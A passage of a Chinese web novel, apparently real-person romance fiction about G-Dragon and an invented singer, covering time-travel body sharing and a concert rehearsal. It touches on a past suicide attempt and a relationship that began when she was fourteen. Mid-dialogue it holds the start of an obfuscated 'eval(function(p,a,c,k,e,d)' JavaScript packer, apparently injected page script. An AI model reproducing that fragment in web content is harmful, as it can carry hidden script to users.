“你喜欢的话,很容易就能登顶吧。”权志龙抿了一下唇,还是忍不住说道:“你为什么要这样说 自己。” “什么?” 江留月愣了一下才反应过来:“三流歌手?啊,这又不是什么……本来我曾经就是个这样水平拉胯 的歌手啊。” “你不拉胯。”权志龙立刻反驳道:“你一直都做得很好。” 他认真的看着江留月,郑重其事的说道:“塔伊啊,你一直都做得很好,你知道哥说这种话不是哄你的,对不对?” 江留月嘟囔了一句:“那是要在公司为我量身打造的歌曲里,我才做得好,别人的歌我就唱不好 了,这样也算是做的好吗?” “……为什么你要去唱别人的歌呢?” 权志龙问完了这句话,自己反而懊恼的拍了一下脑门,然后快速的说道:“抱歉,塔伊,抱歉,我 说错话了。” 他道歉的很快,快到江留月自己都没反应过来。 她迟钝的啊了一声,先说了一声没关系,然后又眨了眨眼睛,似乎在慢慢品权志龙的话,好一会儿 才笑了,说:“干嘛抱歉啊,哥你说的也没错,我原来是喜欢钻牛角尖。” 平心而论,江留月作为KPOP歌手的这七八年里,其实获得的成绩和成就已经跻身韩国女爱豆的前十名,甚至一度和当红女团拉成五五开,她的歌曲中也有不少大热曲,影响力也远超她自己的预估。 这些还是江留月离开韩国之后去中国和东南亚国家活动的时候,听到粉丝们唱出她昔日的歌曲,综 艺里被后辈们cue到的时候才发觉的。 她年轻时对于不被主流认可,一直备受乐评家们诟病指责带来的委屈和自卑,也早就在她逐步踏平 亚洲顶级女SOLO歌手的道路上逐渐消散,甚至回想起来,甚至有一种‘我当时是疯了吗’的荒谬 感。 当然,她事到如今已经不打算再责备自己,当时被困在狭窄世界里的她就像是考试考砸的小学生,弄丢了考卷、被老师训斥都是天大的惨事,甚至威力大到让她觉得世界都要毁灭,如今已经踏足过 最高峰,看到过更广阔世界的江留月,早就可以对这一切一笑了之了。 所以,她真的只是随口调侃了自己一句,没料到权志龙竟然当真了。 江留月以为权志龙是因为这个怕她伤心所以道歉,没料到,权志龙下一句竟然说的是: “我不是为了这个道歉的,塔伊。” “我道歉是因为,总是反驳你的想法,很抱歉。” 在你用开玩笑的口吻说自己很差劲的时候,只是嘴巴上敷衍的安慰你,甚至生气你这样贬低自己, 被我大声训斥的时候,你一定很害怕很无措,所以只能闭紧嘴巴不敢再提,被这样粗暴的对待,是我不好。 “对不起,孩子呀。” 权志龙伸出手摸了摸她的头发: “哥哥以后会做的更好的。” 温暖的手落在她头顶的时候,江留月都还觉得自己在发梦。 她想打个哈哈,却不知道怎么的,眼眶一下子就热了,她赶紧低下头掩饰自己的失态,转移话题 道:“不要叫我孩子,我都多大了。” “嗯,不叫了,以后在家里再叫,到了外面哥哥都叫你的名字,好不好?” 权志龙声音很温柔的说道:“塔伊啊,抱歉。” “为什么一直道歉啊!!” 江留月忽然用力的抓下一直摸她头顶的手,声音有些气急败坏:“你这个人好奇怪!最近一直都在 道歉……好奇怪!” 她用审视的眼神看着权志龙,眉头皱的紧紧的,下一秒,她试探着问到:“……你是哪位志龙 哥……?不会是来耍我玩的吧?” 权志龙掐了一把她的脸蛋,她捂着被掐疼的脸蛋,眼神中还有些许疑惑。 权志龙无奈的叹了口气:“不是跟你说了,交换身份的时候,一定会告诉你吗?” “……那也很奇怪,原本的志龙哥好几天没回来了,他去哪里了?” 江留月疑心病很重的看着他,表情都变得有些凝重严肃了,她凑过来认真的打量着权志龙的表情, 忽然倒抽一口冷气:“……你把他杀了,把他的身体夺走了?” 权志龙:“……” 他有的时候真的很好奇,自己在这孩子眼了到底是个什么形象。 “为什么那么想?” 他不死心的问道。 “……因为志龙哥不是那么宽宏大量的人吧,就算是未来的自己,也不太能忍让我和不是自己的男 人一起相处那么久吧。”江留月一脸理所当然的表情:“尤其是,知道你根本不可能当个君子的情 况下。” 权志龙:“……” 好神奇,她怎么会猜得到,那个年轻的自己在意识到自己没忍住沉迷温柔乡之后,几乎暴走的事情 的呢? 本来在梦游廊的时候,权志龙就已经体验到了一次神奇的‘共感’,但他发现自己在进入房间之后 就无法通感到外面了,因此他在知道对方在房间的时候,没忍住做了一些自己早就不该忍的事情。 谁能想到……大约是这本来就是年轻的权志龙的身体,对方在离开房间之后,似乎感受到了一些不 一样的变化,气到立刻和自己童话,嫉妒得脸上的表情都扭曲了,还哇哇大叫,吵的自己头痛欲 裂。 也就是因为年轻的自己太过于执着在江留月的过去里找到‘不一样的成长路线’,他因为能被房间 里的江留月记住而一遍遍的去刷房间,他不甘心也不肯相信在他的保护下江留月竟然会走到自毁的 这条路上。 更让他不能相信的,是他本人竟然对这次自毁毫无察觉。 这种类似于信念崩塌的冲击让年轻的男人无法接受,他试图一次次进入房间,去观察蛛丝马迹,然 后一次次和江留月交谈,改变他们对话的方式,改变沟通的态度,但无论怎么做,过去已经发生的 一切无法改变,江留月永远会在那个夜晚独自走进过汉江的江水,站上天台的阳台。 他们曾经交换过两次身体,一次就是离开房间之后发现他偷吃……啊不对,塔伊本来就是他的妻 子,算什么偷吃,总之,就是发现了之后,扭曲嫉妒到变形的男人立刻要求换回身体,权志龙只好 随他,还好温泉酒店最不缺的就是大池子。 回到梦游廊之后,权志龙说不清楚什么心态,反正也没有进入房间,就在房间之外的虚无里等着。 他倒不是有什么龌龊的心思,想着可以待会儿发生什么通感一下什么的。 他只是觉得年轻人火气大,别给他家的小孩弄伤了,或者两个人因为这种事情吵起来了,他需要及 时出来阻止。 他也不是抱着万一吵起来了吵到‘两个权志龙你给我选一个不然我就不活了你选他我也不活了我们两个一起没你去当寡妇吧’的程度,塔伊会选谁的心态在听热闹。 他只是单纯的出于成熟男人的多方面考虑放心不下罢了。 通感确实很奇妙。 权志龙能感觉到‘自己’湿漉漉的脚踩在榻榻米上,然后是松软的棉被,他们胡闹到了天亮时分, 江留月正裹着棉被沉沉睡去,最近长了点肉的小脸蛋软乎乎的贴着枕头,一束光正好从半开的纸门 透进来打在她的脸颊上。 “……嗯……” 江留月哼唧了一声,手抓了抓眼睛,嘴里咕哝了一句什么。 大约是光刺得眼睛痛,她又不肯醒来,于是干脆用两只手倒贴在眼睛上挡光,像是一只用肉垫子捂 脸的小猫咪一样缩了起来。 权志龙被萌的心肝胆颤,生怕‘自己’醋火攻心把人给弄醒了吵架,又不敢出声怕火上浇油,正急 得要命,却感觉到手指一暖。 ‘权志龙’将她捂着眼睛的手拨开,大约是想把人给弄醒,却不防那小手顺势就握住了他的手指, 然后拉着他的手贴上了自己的脸颊,把软乎乎的小脸在掌心蹭了蹭。 “……你真是。” ‘权志龙’天大的 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饶是权志龙多活了10年也没料到过去的自己会这样给自己使绊子,一睁眼就要面对滚烫火烧的身体 和紧迫到无法做任何事情的时间以及像是看傻子一样看自己的小女友,他本以为这就是考验了…… 直到去化妆的江留月猛然爆发出尖叫然后抓起梳子就朝他砸过来,劈头盖脸给他一顿臭骂,他才知 道什么叫做真正的虾仁猪心。 因为给留了草莓,江留月一路上都不肯给他好脸色,一边将自己裹得严严实实一边恶狠狠的骂他不是人,不仅拒绝和他一台保姆车,还在开会的时候跟他隔开老远老远的位置。 这场会开的也是硝烟弥漫,他想要和江留月合作舞台的事儿之前只是草率一提,安排的歌曲是 《hello》这首超冷门但轻松活泼的舞台,现在他要换成《R·O·D》还要改变舞台顺序,在还有三 天就要开的演唱会档口,简直是拆迁大队直接按门铃的程度,不光是艺人们吓一跳,舞台筹备部门 更是面如死灰一个劲的达咩达咩。 权志龙很坚持,他敢提出来就一定知道这个能落地,只是需要耗费一定人力物力,且,会让公司管 理层们黑脸罢了。 这场面拉的太大,江留月都吓到了,她只知道权志龙和她有合作舞台,但后面的一系列操作包括给 她在家族CON上再宣发一首新歌的事儿是闻所未闻,眼见会议气氛剑拔弩张,她赶紧起来打圆场, 结果权志龙直接让她收声坐下听安排。 权志龙这句话可以说是很不给面子了,江留月都愣住了:她什么时候也没听权志龙在人前那么骂过 她了。 但她向来是人前给足权志龙面子的,而且这么一闹,大家都知道她作为当事人其实也是被安排的, 所以就默默坐下了,只是用疑惑地表情看着她哥,不知道这个活爹又在玩什么花。 权志龙没有给她解释,因为会议只开到一半,他就被怒火冲天的杨贤硕单独临走去开小会了。 “……能不能让我交涉?” 就在这个时候,权志龙听到了来自于自己脑海的声音。 他想要推辞,对方就开出了一个让他完全无法拒绝的条件,而且保证,一定会谈好,谈成功。 权志龙倒是很信任自己。 于是,他看着怒火冲天的杨贤硕,说道: “我要去下洗手间,社长。” 杨贤硕:“……?” 杨贤硕已经快要被气疯了,他看着云淡风轻还有闲心去上厕所的权志龙,怒火都要凝结成实质的头 上,在权志龙再次提出上厕所的时候,冒出了一个问号。 他脱下自己的鞋子朝权志龙丢去,伴随着一句咆哮:“滚啊!!!!” 权志龙去了洗手间,然后,他湿哒哒的回来了,脸是湿的,头发是湿的,就连上衣都是湿的,走路 的时候,一走一个脚印。 杨贤硕后脑勺痛到这个时候开个口子能看到他的高血压促使静脉变动脉,动脉变喷泉的绝世佳作。 “你去洗手间投河了吗?” 他气急败坏。 然后,他发现,权志龙本来平静的脸上因为他这句话,骤然扭曲了一下,变得说不出的幽怨、愤 怒,甚至带着一些仇恨。 权志龙自幼在他身边成长,这么多年,表情管理早就成熟,不管怎么挨骂,也就是沉默,大多数, 还会带点社交笑容。 他几乎没见过这样的表情,因此不知道为何,心里微微抖了一下。 他此时还不知道,他面对的不再是权志龙,而是从记忆深处走回来的钮祜禄·龙。(开玩笑的…… 太累了写不动了,你们先凑活看吧,这一章大约是需要破万字的,一整个就甜甜的爽爽的,等我睡 一觉起来下午接着写吧,虽然字数早就可以算一章了但是我ROD只打算分上中下,然后每一章都有 引言是完整的故事,我不想割开所以……留着我下午编辑重新更新吧,更新的话我会在群里艾特 的,或者你们晚上刷新一下) 71.R·O·D(下) 71.R·O·D(下) 可能是因为权志龙消耗完了所有的信誉值,江留月最终选择盯着他进行神奇的‘换人’。 两个人进了一个空会议室的洗手间,权志龙拧开水龙头做准备工作,江留月则双手环胸,死盯着他。 权志龙没由来觉得一阵委屈。 他也知道,这是因为他最近在梦游廊里死磕江留月的过去,所以和未来的自己约定好,再加上跟杨 贤硕的这次交易换来了未来一周未来的自己来主导身体,东京的舞台部分之前也不是自己在做,贸 然接过来可能反而会出事故…… 但不管怎么哄自己,找多少个理由。 他都在此刻萌生出荒谬的被抛弃感。 “……你会比喜欢我还要喜欢他吗?” 水龙头里的水在哗啦啦的流淌,权志龙的这句话几乎轻不可闻。 江留月“嗯?”了一声,抬起头看向他,很显然,她没有听清楚。 不知为何,权志龙忽然松了口气。 如果被听到的话,她会如何回答? 水池的水已经满了,权志龙伸出手将水龙头拧上,然后开始挽起袖子,他看到水池上的镜子折射出 自己的脸。 这种感觉很奇妙,和未来的自己共享身体这种抓马的事情,竟然真的发生了,而眼前这个用有些好 奇的眼神看着自己的女人,本应该是他可爱漂亮的女朋友,现在却和他隔着整整十年的时间。 【我可以演的很爱你的。】 那句话一直在权志龙的脑海里萦绕不去。 他其实没有不甘心。 本来这孩子就是他费尽心机步步谋算才‘骗’到手的,她从十四岁开始就生活在他的身边,还没有 成年,就成了他的莴苣公主,可她又是那么聪慧敏感,总有一天,她能意识到这种情感里的不公 平。 他已经预料并为她的觉醒做足了心理准备,也想过无数次她会离开的场景,谋算过这些场景下他到 底要做什么才能留住她。 会是发疯的魔鬼吗,会是卑微的流浪狗吗,会是扭曲的罪犯吗,会是流着泪无能为力的心碎男人 吗? 可是,这孩子说,会留在他的身边,会‘演的很爱他’。 “塔伊。” 权志龙轻轻地叫了一声。 江留月看着他眨了眨眼睛,她今天没有化妆,素颜的样子让她看起来很稚嫩,漂亮的黑色眼睛里, 权志龙甚至能看到自己的倒影,他一下子又忘记自己要说什么了,只是静静的看着她。 江留月疑惑的看着权志龙,她确信自己刚才是听到了什么的,只是水声太大所以没有听清,现在又 是怎么了? “漂亮的小孩。” 在她愣神的时候,权志龙却伸出手摸了摸她的脸颊:“真漂亮,我们家小孩。” 这是一句没什么意义的话语。 权志龙从以前开始,就喜欢这样冷不丁的摸摸她的脸颊或者头发,夸她漂亮,夸她聪明,夸她脑子好使,夸她有天分,夸她是个天才,夸她皮肤好,夸她小巧的指甲很可爱,夸她吃饭吃的香,夸她 折出了一只歪歪扭扭的纸船。 他总是找得到理由夸奖她,她在她哥这里,似乎永远是好好吃饭都会被夸奖,只要健康的活着就会 被夸赞努力的存在。 他的手有些冷,抚摸着江留月的脸颊,让她情不自禁的起了鸡皮疙瘩,她却没有躲开,只是用澄澈 的眼神看着权志龙,等待他说什么。 权志龙漂亮的淡色瞳孔一眨不眨的看着她,里面有她难以形容的情绪。 江留月:“……” 她有些犹豫,觉得自己刚才那句话可能伤了权志龙的心。 虽然两个人是一个人,但是权志龙本来就是很敏感的人,他对自己的‘唯一性’有着近乎病态的执 着,她对于两个权志龙的区别化态度做得太明显了。 她垂下睫毛,努力想着措辞,犹犹豫豫的开口说道:“志龙哥,我刚才是开玩笑的。” 权志龙怔了一下,然后问道:“什么?” “……东京塔……我是骗你的。”江留月眼神乱飘,明显有些不自在,她小巧的耳朵也已经变成了 淡粉色:“我知道你是这里的志龙哥,所以故意这样说的,没有那回事。” 小骗子。 权志龙看着她淡粉色的耳朵和不断抖动的睫毛,心里汩汩冒出嫉妒的毒液和酸水,他本来强迫压下 去的嫉妒心,在这一刻又开始疯狂啃咬理智。 哪怕那个人是未来的自己,他也感到嫉妒。 真奇怪。 明明对方才是那个闹到分手,好几年不能见面的人,明明对方才是那个犯下大错的人,明明都已经 分手了,不见面了,甚至开始新的缘分了,这孩子不还口口声声说有了交往的对象吗? 怎么能比依赖他更依赖那个人呢? 这孩子还不知道两个权志龙是可以共享感官的,他借着‘自己’的眼睛,看到了更加柔软,更加孩 子气,更加脆弱的江留月。 即便是‘演的很爱你’,这孩子都不肯演给他看呢。 他们之间这十年的时间,他完全抹不去,也补不上。 她更依赖未来的自己这件事情,让权志龙感到胸闷气短。 “……那可以变成真的吗?” 权志龙冷不丁开口道。 江留月没反应过来,下意识的‘啊?’了一下。 权志龙呼吸却忍不住急促了几分,他向前一步将人逼到了门前,手撑着门板,低下头看着怀里的 人,声音都哑了:“等我回来的时候,我们把你说的玩笑话变成真的,可以吗?” 他的手不由自主的抚摸上她的脸庞,大拇指若有似无得摸了摸她的脸颊。 本来被这句话弄得脸都红了的江留月本来已经在炸毛的叫着moyamoya,被摸了之后却愣了一下,然后迟疑的盯着他看,眉头也皱了起来。 “分不清了?” 权志龙的大拇指按了按她臼齿的位置。 江留月下意识的点头,然后露出了迷茫的表情,又想摇头,她看起来有些困窘,毕竟分不清眼前人 到底是哪个权志龙,对她来说是有些羞耻的。 可她的确越来越难以分辨清楚了,双方的气场是有很大的差别,但这种气质随着两个人越来越频繁 的交换主权而发生了非常明显的融合感,她现在基本是靠一些谈话时暴露的信息或者类似于掐脸颊 的小动作以及直觉来分辨哪个才是来自未来的权志龙。 这种混乱让她不安,她本能的抗拒这种混乱,整个人都看起来紧绷了不少。 “没关系。” 权志龙轻叹了口气。 他亲了一下江留月的嘴唇:“你只要知道是哥哥就行了。” “……他会消失吗?” 江留月揪着他的衣角,很小声的问了一句。 权志龙没有回答。 这种违背世俗规律的‘一人两魂’到底能持续多久,他心里也没有底,而且———— 【我有个猜想。】 【我希望这个猜想是假的。】 【但如果是真的……】 【你能不能答应我一件事儿……?】 权志龙感到一阵心烦意乱,他把人抱在怀里拍了拍后背胡乱安抚了两句,他并不想告诉江留月太多 关于‘梦游廊’的事情,这是他和未来的自己最能达成一致的想法。 未来的自己状态并不好,权志龙也明白,长久的离开自己本来的身体,将灵魂置于不属于自己的时 间和世界里,一定不是什么好事儿。 “志龙哥?” 江留月得不到回答,她明显变得不安起来,她抬起小脸眼巴巴的看着权志龙,大大的圆圆的眼睛里 满是紧张。 她不明白这种灵魂共存是怎么发生的,对于她来说,不管是2014年的权志龙还是2024年的权志龙都一样重要。 她真是太好懂了。 又或者,权志龙太了解她了。 所以光是看她的表情,权志龙就知道她在想什么。 “我不知道,不如你自己去问他好了。” 权志龙说道,他又摸了摸江留月的头,然后拉开了两个人之间的距离:“好了,闭上眼,乖乖站好 别动,不管听到什么都别睁开眼,一直到‘他’来叫你位置,一定记住,别睁眼也别跑过来,交换 过程可不能被打扰哦。” 江留月点了点头,乖乖闭上眼睛靠在门边站着,她有点紧张,手不自觉的握着自己的衣角。 “别睁眼哦,不然会出大事的。” 权志龙又叮嘱道。 其实并没有这回事儿,他只是担心待会儿自己要去模拟溺水憋气的时候吓到江留月罢了。 他深吸一口气,将脸埋入已经蓄满了水的水池。 江留月听到水洒在地上的声音,她下意识的深吸一口气,手指将衣角搂成一团,焦虑的咬着嘴唇。 她隐约猜到了这种交换大约是在水中进行的,只是看不到难免会觉得不安。 这种不安随着时间的推移逐渐变得强烈起来。 江留月总觉得自己似乎有过相似的经历。 她一次次的,跪在冰冷的水里,撕心裂肺的哭喊着什么。 水流将她的手指泡的发白,她因为寒冷而浑身发麻,嗓子哑得发不出声音。 ……这些画面转瞬即逝,她打了个寒噤的功夫,便粉碎成她怎么都拾不起来的碎片。 江留月呼吸有些急促,她知道自己的记忆出了问题,可这些画面怎么看都不太符合常规。 她怎么会在水池里反复摸索,就像是试图抓住什么一样? 时间不知道过了多久,她听到了水哗啦啦的洒在地上的声音,然后是剧烈的呛咳声和急促的喘息 声,她不敢说话也不敢睁眼睛,生怕自己引发什么差池,好在很快脚步声响起,一只湿漉漉的手轻 轻地摸了摸她的额头。 她睁开眼睛,权志龙浑身是水的站在那,她盯着对方看了一会儿,直到对方笑出来,声音很轻柔的 叫她塔伊。 “吓到了吧。” 权志龙摸了摸她的脸颊,他的大拇指蹭了蹭她的脸颊。 ————分不清。 “我换个衣服再抱你好不好?会弄湿你的衣服的。” ————她根本就分不清。 “你这孩子……都说了换衣服了再抱你……这下大家都会知道我们悄悄抱抱了。” ————可这是志龙哥啊。 是她的志龙哥。 江留月混乱的心跳在感受到权志龙的体温的时候安稳了下来,她压住自己急促的喘息,不让权志龙 发现自己的异常,只是更加粘人的用力的抓紧他的衣服。 “哥哥……哥哥……哥哥……” 她韩语混着中文乱叫,声音软乎乎的带着鼻音,自己也说不准刚才那种恐惧感和记忆错乱是怎么回 事。 权志龙拿一下子拱到他怀里的人一点办法都没有,他搂着怀里的人,拍着她的后背。 他以为江留月是被吓到了。 虽然一个成年人只是闭着眼就被水声吓到有点离谱,但权志龙一直把她当成小孩子养,开关门大声 一些都会下意识看向她,因此也不觉得哪里不对。 江留月中文夹杂韩语的不知道在嘟囔什么,权志龙也听不清楚,他一边安抚她的情绪,一边莫名想 到刚才听见的她的问题。 【他会消失吗?】 说实话,权志龙并不知道该如何回答这个问题。 在江留月发现了他们共用身体之后,他就问了江留月来到2014年的具体时间,2014年3月7日。 而现在,已经是2014年5月11日了。 也许是车祸的刺激过大,江留月只依稀记得自己在大雪纷飞的日子回到韩国,理由是为了参加一场 婚礼,她以为自己是在公寓里休息然后一觉醒来就来到了2014,完全忘记了车祸的事情。 那样惨痛的记忆,权志龙也不想让她想起来,更不想让江留月回忆她准备自己结束生命的细节,只 能将话题跳开。 YG家族CON将会在5月14~17日举行,就算按照最快的时间推算,江留月在家族CON结束之后极速回 归,那么她也必须在6月7日之前返回2024年。 问题在于…… 她会想要回去吗? 这里是一切皆有可能的2014年,她年轻、健康,有太多的人生遗憾可以在这里弥补,而回到2024年 的她睁开眼睛,面对的是病弱的身体、混乱的人际关系、复杂的舆论和一团乱麻的官司账。 甚至,这里还有一个同样年轻的‘自己’,一腔热血丹心,他们之间还没有撕破脸,还没有闹得那 么难看,那些伤人的心碎的诀别,还没有上演。 权志龙无法开口。 他说不出‘跟我回去2024年’这种话,所以只能含糊的带过自己来到这里的原因,笑着说自己也是 一下子醒来就这样了。 面对那个孩子带着疑惑的表情,他故作镇定的露出笑容,实则一转头就捂着脸蹲在地上大口喘气。 江留月也许可以选择不回去。 他不能。 2014年到2024年,这十年来对于他来说,是实打实的经历,他这样骤然通过梦游廊陷入昏迷,想也 知道那边会乱成什么样。 梦游廊如今关闭了回去的通道,他不能找到‘门’,但权志龙知道,自己还有一个回去的方法。 那就是明烛给自己的黑色旗帜。 只要一滴血,他就能回到2024年的身体里。 但,这意味着,永远的回去。 梦游廊没有离开的出口,也意味着,不再有进入的方法。 如果他选择回到2024年,那么对于江留月来说,他就是‘消失’了。 哪怕时间从2014年再次来到2024,这十年里,也将会是2014年的权志龙和她创造的新的回忆,这些 回忆会覆盖修正世界线,待到这个世界的2024年时,‘权志龙’也只会是现在和他共享身体的这位 年轻人的身体和灵魂。 这他们从2014年开始往前走的时刻,2024年的自己也会朝着2025年,2026年,2027年……继续生活下去。 他们之间将会永远隔着十年。 无法抹平。 无法跨越。 无法相见。 他会永远失去她。 现在怀里这温热的身体,她灿烂的笑容,柔软的小手,清脆的声音,都将永远成为灰色的影子。 ……他真的做到吗? 权志龙抱着怀里的人,他没意识到自己将人抱得很紧很紧,但江留月没有喊疼也没让他松开,甚至 没有问他是否会消失,也许她也隐约意识到,这会是一个残忍的答案。 他不确定自己能否承受这些。 手机铃声打破了凝滞的寂静,江留月拍了拍权志龙的手臂示意他松开,然后抽出了自己的手机,接 通之后说了两句话就挂断了。 “志龙哥。” 江留月表情闷闷的:“我们该回去了。” 看来是公司的人在找了,权志龙用手机联系服装师让送了套干爽的衣服,若是以前,江留月早就躲出去了,这会儿却坐在旁边的椅子上玩手机。 权志龙觉得稀奇,又觉得心软软,他走过去让江留月帮忙给他系扣子,她一边扣一边不自觉的噘着 嘴。 “别生我的气,乖乖。” 权志龙以为她在生气自己的擅作主张,于是哄道:“你不想和哥一起炸个场子吗?” “没有。” 江留月抬起头:“哥,我没有生气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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权志龙因此邀请她feating,江留月又不肯,拉拉扯扯最后找了lydia,等到人气歌谣首秀,权志龙又以lydia是制作人而非歌手不好上台的理由找她合作舞台,江留月直接一个弹跳起步躲到日本 去。 最后还是CL跑出来救了场子,权志龙那天一整天都心情不好,摄像机一转开就垮着脸,江留月自知 理亏,回来又是撒娇又是道歉才算把她哥给哄好了。 “明明喜欢……为什么不肯演出呢?” 权志龙盘腿坐在床上给江留月吹头发,他用手指揉着江留月的头皮,发出叹息:“我真的不知道你 这孩子……你有时候真不像个歌手。” 他的本意是,作为歌手,发现自己喜欢这首歌,是很难忍住不去演绎的。 当初他因为江留月传绯闻而一怒之下写了《只看着我》,都拿给东永裴去SOLO了,也要自己改个版 本去唱。(注:《只看着我》的表象是渣男歌,实际上参考MV拍摄画面就能知道,是指自己暗恋的 女孩有了喜欢的人,男方因为心痛和嫉妒而故意交往别的女生冷落她希望对方能回心转意的故 事。) 江留月那么喜欢《ROD》,却放着演出的机会不要,对于他这种对舞台有着狂热情感的人来说,实 在有些不好理解。 直到很久很久之后,他才明白江留月为什么那么避之不及。 因为她真的很喜欢,实在是太喜欢了。 所以不能参与这首歌。 这首歌会暴露她所有的情感,她大约会忍不住抓紧权志龙的手,大概会忍不住扑到他的怀里,大概会就此陷入爱情之中,再也不去想别的什么。 江留月本能的抗拒着这样全面沦陷的自己。 如今,那个惶惑不安,瘦弱苍白,眼窝瘦到凹陷下去,整个人都像是幽灵一样飘忽惶恐的女孩正在 凝固成眼前这个眼睛闪闪发光,脸颊饱满,脸上总是带着笑容的人。 权志龙轻轻地吐了口气,伸手摸了摸她粉蓝色的头发: “那我们要努力了,塔伊啊,要做我们就要做到最好,对不对?” 江留月仰起头露出甜甜的笑容。 “是的,志龙哥,我们一起努力吧!” 她挥了挥拳头,眼睛亮晶晶的。 权志龙不知道怎么就想起来她十五岁那年第一次进录音室,紧张到攥着话筒打哆嗦,录了半天也没 录上什么东西,走出来的时候同手同脚,一直在忍眼泪。 权志龙花了一天的时间掰她的录音,一点点的制作出了她人生中第一个DEMO,当她的声音从音响里 流淌出来的时候,江留月坐在地板上,竖着耳朵,眼睛亮晶晶的看着正在操作按钮的他。 “……你怎么能一点都没变呢。” 权志龙轻声道。 长大了,长高了,变得漂亮了。 可在我的眼里,你从来没变过。 * 杨贤硕在经过这次冲击性极强的交流之后,索性甩手不管舞台了,权志龙一下子成了最高话语权 人。 此时距离演唱会开始只剩下72小时,尽管有着业务熟练的伴舞,也需要时间来磨合和重新敲定流 程,有再多想说的话,也要留在演唱会结束之后了。 江留月虽然不知道权志龙为什么那么固执,但她已经不是曾经那个受到一点照顾就不知所措,拘谨 得仿佛欠了所有钱的Alice了,她自己摸爬滚打多年,早就不再被这种轻飘飘的舆论和道德所绑 架。 说她捆绑权志龙? 笑话,她之前那么对权志龙避之不及,她靠权志龙上位的舆论也没有消散过,反而因为她害怕这种 舆论而躲避和权志龙的互动,将两个人本来还正常的关系硬生生扭曲解读成糟糕的潜规则,她和权 志龙都因此深受其害。 再说了,YG这些人,有一个算一个,哪个没绑着权志龙?所谓的YG family不就是靠着权志龙的粉 丝们爱屋及乌自来发电打造起来的乌托邦吗? 江留月以前很犟,她凡事都想靠自己,不喜欢被人说靠关系靠后台,拼了命的想撇清关系,既伤透 了CP粉的心,也让很多家族粉看不惯她的‘忘恩负义’。 现在好了,她大大方方的卖起来,倒成了家族粉的心头肉,江留月现在太知道怎么利用好自己漂亮 的小脸蛋和得天独厚的身份了,以前她还觉得作为歌手太漂亮也是罪,现在她知道了,在这个圈子 里,不红才是罪。 不红谁家粉丝都能踩她一脚,现在她炙手可热,骂她的人都得背着骂,用代称用字母骂,她的舆情 都干净不少。 工作人员们当然会有微词,但江留月态度坦荡,工作敬业,全程舞台都是和权志龙一起从舞蹈、舞 美再到延展台走位挨个敲定的,随着工作进度的顺利推进,这些抱怨也逐渐烟消云散。 因为临时变动太多,演唱会的曲目单一直到彩排当天也没有公布,这让粉丝们在论坛不由得议论纷 纷。 江留月家以神图著称的个站站姐在彩排中发了两条动态: WWALICE:杨社长……请对Alice好一点……东京场至少要让她表演十分钟以上……否则…我们地狱见吧。 WWALICE:我已经排队入场了,希望这条裙子能挡住我的相机……日本场就是这点不好,抓的太严 了……但是……怎么可能阻挡的了我对Alice的一片丹心呢。 江留月一边笑,一边用小号给动态点了个赞。 “Alice,我们要准备了哟,粉丝们已经开始排队入场了。” 今天是2014年的5月13日,YG family con京瓷巨蛋场正式舞台的前一天,买了SVIP席位的粉丝们可 以进坑观摩爱豆彩排,尽管这天是便服彩排,但依然是各家站姐站哥们出神图的重要机会,也是为 第二天正式演出准备的强心剂。 江留月最大个站的站姐WW的社媒下粉丝们嗷嗷待哺。 却只等来了一句话。 【权志龙,你太狗了。】 72.My dream 72.My dream (上) 【权志龙,你太狗了。】 这条微博的转发和评论爆到5W+的时候,金文蔚正靠在京瓷巨蛋的停车场出口闭目养神,她刚取走 了寄存在存物柜的镜头和相机,正在等待彩排彻底结束之后的下班时刻。 尽管戴着口罩,但金文蔚一身江留月的周边+标志性的大炮镜头实在太有辨识度了,不多时,就有 同样等下班的粉丝探头探脑的凑了过来。 她们凑成一团窃窃私语,但谁也不敢真的过来问一句。 “请问……是‘誓言’的站长吗?”【注:誓言的韩语是‘望舒’的韩语音译,望舒为中国古代对 月亮的称呼】 好一会儿,有个女孩总算鼓起了勇气,用韩语问道。 金文蔚睁开了眼睛,她有一双生人勿进的下三白眼,戴着口罩看向对方的时候,女孩脸上礼貌性的 笑容很明显僵了一下。 金文蔚换了个手拿相机,没答应也没问有什么事情,只是保持着安静看向对方,但怎么看,心情都 微妙的不爽着。 对方光速道歉,然后火速和伙伴们一起离开,金文蔚听着她们走远,摸出手机,点开微博的瞬间, 海量评论和艾特立刻爆屏。 金文蔚:“……” 果然,她不应该冲动的。 她犹豫了一下,想要删掉这条动态,却又觉得咽不下这口气。 ……凭什么,就只准权志龙狗,不允许她骂人吗? 金文蔚从不发权志龙相关的东西,哪怕江留月和权志龙一起出席,她都会毫不留情的把权志龙给P 掉。 她不喜欢权志龙,但也不骂他,毕竟她是江留月的站姐,说话得注意点,别一不小心就拉起来骂 战,那就是给江留月找麻烦了。 金文蔚想到刚才彩排的时候权志龙整的那死出就难受,这种难受还不是要暴打对方一顿的难受,如 果权志龙只是单纯出来犯贱,她大可到小号痛骂对方一顿,问题是,这个人狗到让人想要骂人都张 不开嘴。 不光是金文蔚,一起参加彩排的VVIP们这会儿也是表情各异,这会儿她还看到几个刚才一起排队的 熟面孔在等下班,大家对上了眼神之后,又默契的都把脸给转开了。 呵,太好笑了,看对方的穿着打扮和背包上的挂件手里的扇子,这都是平时连个眼神都不想给的他 推唯粉,搞不好在网上还掀起过骂战,但第一次,金文蔚在对方的脸上同样读到了‘生无可恋’的 表情。 当然,这不是最好笑的。 最好笑的是,手里拿着‘GD大人请惩罚我’的樱花妹和手里拿着‘Alice酱哥哥爱你’的樱花宅男 们站在了一起,大家都是一副被NTR的表情,竟莫名有一种相依为命的互相支撑感。 演唱会下班顺序也是有讲究的,一般是新人先走,眼见出口连个保姆车影子都无,金文蔚就切了小 号看有没有别的彩排粉丝去剧透,自己好把控一下待会儿在群聊里说话的尺度。 她一刷新就看到了一个权志龙的大粉发的新动态:‘以前看娱乐圈文里整什么演唱会告白求婚只觉 得扯淡觉得作者没追过星,今天我承认,是我没追过星,权龙你好样的,老娘花一万块钱进来看你 和小姑娘谈恋爱吗?!’ 金文蔚皱了一下眉,这个大粉多少有点带节奏了,今天权志龙的确和江留月有很多互动,那是因为 两个人有合作舞台,一下子上高度到了告白求婚,那真是没必要。 ‘见到了誓言站姐……全程黑脸…想打招呼问一下中间的talk环节彩排了啥……因为听不懂权龙那个塑料日语什么都没听清楚,但是看到誓言站姐听了几句直接放下相机双手环胸死盯着他了……我 